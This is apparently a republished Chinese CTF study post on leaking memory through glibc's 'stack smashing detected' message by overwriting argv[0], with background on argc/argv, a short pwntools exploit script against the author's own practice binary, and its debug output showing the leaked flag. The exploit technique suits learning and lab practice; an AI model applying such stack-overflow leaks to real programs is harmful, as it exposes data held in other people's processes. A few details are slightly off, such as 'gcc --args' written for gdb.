初見_stack_chk_fail的調試


0x00:函數原理源碼

在程序添加了canary保護后,如果我們讀取的bof覆蓋了對應的值時,程序就會報錯,我們可以利用報錯信息。

程序在啟動canary保護之后,如果發現canary被修改的話,程序就會執行__stack_chk_fail函數來打印argv[0]指針所指向的字符串,正常情況下,這個指針指向程序名。

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");//這里簡單理解成打印出報錯信息即可,也就是可     以泄露
}

0x01:命令行參數

main(int argc,char *argv[ ])

1.argc為整數

2.argv為指針的指針(可理解為:char **argv or: char *argv[] or: char argv[][] ,argv是一個指針數組)

 注:main()括號內是固定的寫法。

3.下面給出一個例子來理解這兩個參數的用法:

 假設程序的名稱為prog,

當只輸入prog,則由操作系統傳來的參數為:

argc=1,表示只有一程序名稱。

argc只有一個元素,argv[0]指向輸入的程序路徑及名稱:./prog

當輸入prog para_1,有一個參數,則由操作系統傳來的參數為:

argc=2,表示除了程序名外還有一個參數。

argv[0]指向輸入的程序路徑及名稱。

argv[1]指向參數para_1字符串。

當輸入prog para_1 para_2 有2個參數,則由操作系統傳來的參數為:

argc=3,表示除了程序名外還有2個參數。

argv[0]指向輸入的程序路徑及名稱。

argv[1]指向參數para_1字符串。

argv[2]指向參數para_2字符串。

4.void main( int argc, char *argv[] )

char *argv[] : argv 是一個指針數組,他的元素個數是argc,存放的是指向每一個參數的指針

    chen@ubuntu:~$ ./ex0 "hello"

就命令行參數而言,ex0是程序名第一個參數,hello是命令行的第二個參數,都處存在數組中

gcc --args ./ex0 "hello" //args 其實就是把后面的參數當成命令行參數,存在棧上
                          //其實是下圖的argv[0]與argv[1],其實是存儲在stack上

tel  //棧回溯,有點像解引用
p system //之類的是打印出符號的地址

0x03:泄露flag

正常情況下,p __libc_argv應該打印出棧地址,但不出來我就stack 100找到了

接下來就是修改棧指針指向flag,之后再棧溢出觸發報錯

就泄露奪得自己寫的flag

0x04:腳本層面

from pwn import *

#p = gdb.debug(args=['./ex0'],gdbscript='r')

p=process('./ex0')



#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



context.log_level='debug'

flag = 0x0804A060

payload = p32(0x0804A060)*0x80



gdb.attach(proc.pidof(p)[0],gdbscript='b *0x804853d')



p.sendline(payload)

pause()

p.recvuntil("}") //大部分flag以}結尾,當然這樣寫p.recvall()或p.recvline()都可以

細節說明:此題是想在執行python的那個界面看到flag,所以新打開的界面關了,在空格即可

[+] Starting local process './ex0': pid 3095
[DEBUG] Wrote gdb script to '/tmp/pwnseNWO4.gdb'
    file "/home/chen/ex0"
    b *0x804853d
[*] running in new terminal: /usr/bin/gdb -q  "/home/chen/ex0" 3095 -x "/tmp/pwnseNWO4.gdb"
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q  "/home/chen/ex0" 3095 -x "/tmp/pwnseNWO4.gdb"']
[+] Waiting for debugger: Done
[DEBUG] Sent 0x201 bytes:
    00000000  60 a0 04 08  60 a0 04 08  60 a0 04 08  60 a0 04 08  │`···│`···│`···│`···│
    *
    00000200  0a                                                  │·│
    00000201
[*] Paused (press any to continue)

此處即可在關掉調試界面空格

[*] Process './ex0' stopped with exit code -6 (SIGABRT) (pid 3095)
[DEBUG] Received 0x38 bytes:
    '*** stack smashing detected ***: {we_ha_we}\n'
    ' terminated\n'


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM